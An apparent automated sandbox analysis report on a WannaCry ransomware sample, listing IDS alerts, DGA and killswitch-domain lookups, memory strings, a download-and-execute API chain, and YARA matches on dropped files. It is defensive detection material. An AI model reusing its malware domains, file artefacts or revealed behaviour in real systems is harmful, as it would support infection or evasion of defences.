charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
          Snort IDS alert for network traffic
          Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.5:53757 -> 8.8.8.8:53
          Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.5:49768 -> 104.16.173.80:80
          Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.5:49768
          Source: TrafficSnort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 35.205.61.67:80 -> 192.168.2.5:49905
          Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.5:63565 -> 8.8.8.8:53
          Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.5:49921 -> 104.16.173.80:80
          Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.5:49921
          Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.5:62005
          Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.5:55800
          Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.5:60525
          Tries to resolve many domain names, but no domain seems valid
          Source: unknownDNS traffic detected: query: hovimo.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: iaawsc.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: haciym.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: rabqgq.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: pkmyie.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: drqijy.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ejfrzo.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: eafsnd.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: mypryo.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: qntdhr.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: xikxpe.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ixrhse.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: mkizwb.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: rexiuz.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: hyahmq.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ikmaix.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: psvvrg.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: yhkbpy.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: zzrowg.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ohaseg.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: epciqa.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: yszrbf.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: owvekr.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: uyuukr.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: yizfid.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: wwnacu.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: pzouqx.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: oehzbg.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: klkzsq.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: uyjdfl.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: yusrey.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: wshaxz.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: jps.sox4.at replaycode: Server failure (2)
          Source: unknownDNS traffic detected: query: kkmsdo.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: jujjzi.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: pueyyv.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: cchwwa.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: kwwqua.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: hktonz.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: rxiooj.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: oqndus.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: yykhqf.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: uagooq.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: sqyjpl.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ogibbe.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: xiozyy.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: qoqckm.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: imjqbu.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: fbaola.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: syygda.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: aeepbn.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ptydjk.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: tzujel.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ktygoq.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: uehubt.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ictqlu.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: sikaab.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ifzywp.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: sggsap.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: wwadyq.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: oanhen.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: nibvba.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: zhuqai.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ufdhyf.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: uyrnlv.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ddujus.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: gwnycf.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: yycwop.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ljqrqr.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: wyisgr.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: tipxna.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: rdglac.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ckeioo.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: duooru.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: mtscea.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ieuylk.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: wuhoqf.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: axuhbp.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: irkueo.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: mpibah.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: wvtlkx.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: zldfay.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: tmiksl.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: xilzor.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: yhiuei.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ynvfhf.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: dunogu.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: egyoyo.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: omaofj.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ylgohw.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ygxynl.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: udynpz.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: lo.paddo.at replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: qeokve.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: wudjxm.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: zlalkd.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: ijfoiw.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: kvdylc.com replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: jlyubc.com replaycode: Name error (3)
          Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
          Source: Joe Sandbox ViewIP Address: 104.16.173.80 104.16.173.80
          Source: Joe Sandbox ViewIP Address: 104.16.173.80 104.16.173.80
          Source: svchost.exe, 0000001D.00000000.574896503.0000022FC42C4000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.974841153.0000022FC42C4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: @http://www.facebook.com equals www.facebook.com (Facebook)
          Source: svchost.exe, 00000026.00000002.981641973.0000018FBF6EA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
          Source: svchost.exe, 00000010.00000000.495781849.000001D1082A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.494278914.000001D1082A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.983263966.000001D1082A0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cdn.content.prod.cms.msn.com/singletile/summary/alias/experiencebyname/today?market=en-US&sou
          Source: lsass.exe, 0000000B.00000000.467929485.0000024D5E800000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976388329.0000024D5E800000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.842325752.0000011808863000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
          Source: svchost.exe, 00000011.00000002.842325752.0000011808863000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
          Source: lsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467180857.0000024D5E045000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.470356749.0000024D5E045000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.971359684.0000024D5E045000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
          Source: lsass.exe, 0000000B.00000002.977304352.0000024D5E823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467991509.0000024D5E823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472837077.0000024D5E823000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
          Source: lsass.exe, 0000000B.00000002.977304352.0000024D5E823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467991509.0000024D5E823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472837077.0000024D5E823000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
          Source: lsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicea
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
          Source: lsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467180857.0000024D5E045000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.470356749.0000024D5E045000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.971359684.0000024D5E045000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
          Source: lsass.exe, 0000000B.00000002.977304352.0000024D5E823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467991509.0000024D5E823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472837077.0000024D5E823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.com0
          Source: lsass.exe, 0000000B.00000000.473323156.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468708612.0000024D5E8C2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.468934784.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.473586935.0000024D5E94B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0~
          Source: svchost.exe, 0000001D.00000000.574896503.0000022FC42C4000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.974841153.0000022FC42C4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
          Source: mssecsvc.exe.2.drString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
          Source: mssecsvc.exe, 00000004.00000002.774419142.0000000000D8A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com-400
          Source: mssecsvc.exe, 00000004.00000002.774419142.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, mssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, mssecsvc.exe, 00000006.00000002.544330929.0000000000D76000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
          Source: mssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/;v
          Source: mssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com0v
          Source: mssecsvc.exe, 00000004.00000002.773137808.000000000019C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ
          Source: svchost.exe, 00000010.00000000.495781849.000001D1082A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.494278914.000001D1082A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.983263966.000001D1082A0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://candycrush.king.com/mobile/windows/TileTemplate.xml
          Source: svchost.exe, 00000010.00000000.496354915.000001D108311000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.494919145.000001D10823B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.982098408.000001D10823B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.984735442.000001D108311000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.495263078.000001D108311000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-US
          Source: mssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://go.microsoft.cifjaposdfjhgosurijfaewrwergwea.com/22www.iuqerfsodp9ifjaposdfjhgosurijfaewrwer
          Source: 94f0b3d7-1ddd-4b94-8b56-54000d0d76c6.up_meta.28.drString found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4NUVS?ver=08bc
          Source: 94f0b3d7-1ddd-4b94-8b56-54000d0d76c6.4179db59-a2c7-49c8-8ed9-c24d34c07748.down_meta.28.drString found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4NUVS?ver=08bcLast-Mo
          Source: c2ee8568-d474-478b-b63e-940b3e4a90a7.up_meta.28.drString found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4NXoO?ver=d1c5
          Source: 2dec7337-adc4-4f09-85d5-c42f7fd6a84f.f8c93ed6-0f0b-4688-9ccc-7f5c52c3c5ce.down_meta.28.drString found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RWN8Wk?ver=41aaContent-
          Source: b81813ce-603e-454c-b3b8-e3f9ea233444.78ab6cd6-ea34-4d6f-add6-03cbd3762aed.down_meta.28.drString found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RWNcjq?ver=8f9dContent-
          Source: svchost.exe, 00000026.00000002.993478077.0000018FBFE00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.631874584.0000018FBFE00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.978417483.0000018FBF5A8000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://site-cdn.onenote.net/161182431559_Images/LiveTileImages/MediumAndLarge/Image1.png
          Source: mssecsvc.exe, 00000006.00000002.544395963.0000000000D84000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.kryptoslogic.com
          Source: unknownDNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C227A7 GetTempFileNameA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,CreateProcessA,InternetCloseHandle,InternetCloseHandle,4_2_00C227A7
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
          Source: mssecsvc.exe, 00000004.00000002.774419142.0000000000D8A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

          Spam, unwanted Advertisements and Ransom Demands

          barindex
          Detected Wannacry Ransomware
          Source: C:\Windows\tasksche.exeCode function: CreateFileA,GetFileSizeEx,memcmp,GlobalAlloc,_local_unwind2, WANACRY!22_2_004014A6
          Yara detected Wannacry ransomware
          Source: Yara matchFile source: tct5NKwZY8.dll, type: SAMPLE
          Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000A.00000000.464877122.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000000.452865526.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.541550184.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000000.454821757.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000000.457162249.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.567066183.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.773290749.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000000.454486210.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000000.456718137.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000000.449331377.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000000.460261646.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000000.452882061.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 5744, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 4108, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6456, type: MEMORYSTR
          Source: Yara matchFile source: C:\Windows\mssecsvc.exe, type: DROPPED

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: tct5NKwZY8.dll, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: tct5NKwZY8.dll, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
